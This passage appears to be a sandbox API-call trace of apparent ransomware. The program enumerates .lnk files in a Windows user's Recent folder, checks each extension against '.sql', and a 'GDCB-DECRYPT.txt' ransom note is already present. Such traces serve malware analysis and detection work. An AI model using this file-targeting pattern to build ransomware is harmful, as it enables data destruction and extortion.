lstrcmpW (lpString1="CH63OfWwkwX.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="CH63OfWwkwX.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CH63OfWwkwX.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CH63OfWwkwX.lnk") returned 78 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="CHQmRNcGe_.lnk", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="CHQmRNcGe_.lnk", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CHQmRNcGe_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CHQmRNcGe_.lnk") returned 77 [0135.728] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.728] lstrcmpW (lpString1="CustomDestinations", lpString2=".") returned 1 [0135.728] lstrcmpW (lpString1="CustomDestinations", lpString2="..") returned 1 [0135.728] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CustomDestinations" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations" [0135.728] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 81 [0135.728] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="CztjLRmT.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="CztjLRmT.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="CztjLRmT.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CztjLRmT.lnk") returned 75 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini") returned 74 [0135.729] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="dWY3im-Jv_.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="dWY3im-Jv_.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="dWY3im-Jv_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\dWY3im-Jv_.lnk") returned 77 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="E3nwHKKhrNc.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="E3nwHKKhrNc.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="E3nwHKKhrNc.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\E3nwHKKhrNc.lnk") returned 78 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="e8jkSa.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="e8jkSa.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="e8jkSa.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\e8jkSa.lnk") returned 73 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="ea9JJ.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="ea9JJ.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ea9JJ.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ea9JJ.lnk") returned 72 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="ExocxBlrLmuRHv.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="ExocxBlrLmuRHv.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ExocxBlrLmuRHv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ExocxBlrLmuRHv.lnk") returned 81 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="FaqWpPUQVtLKuYdk9BQ4.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="FaqWpPUQVtLKuYdk9BQ4.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FaqWpPUQVtLKuYdk9BQ4.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FaqWpPUQVtLKuYdk9BQ4.lnk") returned 87 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="FfJVg4ausPebvr1q.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="FfJVg4ausPebvr1q.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FfJVg4ausPebvr1q.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FfJVg4ausPebvr1q.lnk") returned 83 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.729] lstrcmpW (lpString1="fh_ElomWjB6mGEzzsu.lnk", lpString2=".") returned 1 [0135.729] lstrcmpW (lpString1="fh_ElomWjB6mGEzzsu.lnk", lpString2="..") returned 1 [0135.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fh_ElomWjB6mGEzzsu.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk" [0135.729] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fh_ElomWjB6mGEzzsu.lnk") returned 85 [0135.729] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.729] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.730] lstrcmpW (lpString1="fNbs43ibSVs.lnk", lpString2=".") returned 1 [0135.730] lstrcmpW (lpString1="fNbs43ibSVs.lnk", lpString2="..") returned 1 [0135.730] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fNbs43ibSVs.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk" [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNbs43ibSVs.lnk") returned 78 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FtUF9T.lnk") returned 73 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GDCB-DECRYPT.txt") returned 79 [0135.730] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gKHCm2fwtZ_xFQId52k.lnk") returned 86 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GlwDigP8Jjnd5uC g.flv.lnk") returned 88 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gqOFi.lnk") returned 72 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HijnMp4jD.lnk") returned 76 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HkP-y.lnk") returned 72 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HK_SRBXCNwo6hKv3Yib.lnk") returned 86 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.730] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i25MLe9kC22ViMDQq.lnk") returned 84 [0135.730] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ig6hjLi-OP4x R.lnk") returned 81 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\imbMbOER.lnk") returned 75 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jdhLD2CDd5WY7.lnk") returned 80 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jMUwXrx_DL.lnk") returned 77 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JOfdh4o6jslX.lnk") returned 79 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jxoh-EFt2nW-t9X.lnk") returned 82 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\jyOHRPQ6E1yOr.lnk") returned 80 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSYHI_Wa9bfsyy-Z.lnk") returned 83 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KtCdK3LGr9KL.lnk") returned 79 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ku4nJ2ON.lnk") returned 75 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kvL5uOocTiCI S__fRu.lnk") returned 86 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ldeazaydq H9.lnk") returned 79 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lmzNuu.lnk") returned 73 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\LsUd7T_9uN5u1inV_P.lnk") returned 85 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\lxRXkBM2nNswBBWWBk42.lnk") returned 87 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\l_9IL425VzhWVYOQGgg3.ots.lnk") returned 91 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\L_GiUm.lnk") returned 73 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\m mArdoH QZh2LspL.lnk") returned 84 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M VM-W8ibnNtUjYzZy1.lnk") returned 86 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\M53SLY.lnk") returned 73 [0135.732] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.732] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mj7J-R46l5.lnk") returned 77 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MMSANU.lnk") returned 73 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Music.lnk") returned 72 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mxHA9QwX60.lnk") returned 77 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\niXUM m_uKc.lnk") returned 78 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OGnlmvN61P.lnk") returned 77 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OOwKqpIl7aYSv RTHK.lnk") returned 85 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ORNdnmfJCdFA1es0enx.flv.lnk") returned 90 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\OukrMDnEpoe.lnk") returned 78 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\oWXZt UxeIOr.lnk") returned 79 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.733] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pCAr B4s-Dnk.lnk") returned 79 [0135.733] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\pG1qS.lnk") returned 72 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Pictures.lnk") returned 75 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PP7PZiVZnjg.lnk") returned 78 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppRS2.lnk") returned 72 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ppTk R5o9qfrpMwcdZ.lnk") returned 85 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\py_6.lnk") returned 71 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\qVfwJx7xAD.lnk") returned 77 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\R8M4R8KAn1bTR.lnk") returned 80 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rHf-1nu.lnk") returned 74 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk") returned 74 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RorB-_IDA6hQ.lnk") returned 79 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\S-M7mZ Js.lnk") returned 76 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sao0lzDqm lb1JO.lnk") returned 82 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sJuFZ-fNNCbjtR4EQ.lnk") returned 84 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Sl5l.lnk") returned 71 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Slrus_KiV.lnk") returned 76 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Smjrlot.lnk") returned 74 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sOg89QCB_MYsMq.lnk") returned 81 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sq-y33jTJDe8y5s5Pm.flv.lnk") returned 89 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\srk1.flv.lnk") returned 75 [0135.734] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.734] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SVN91cv_iHYxat.lnk") returned 81 [0135.735] lstrcmpW (lpString1=".lnk", lpString2=".sql") returned -1 [0135.735] lstrlenW 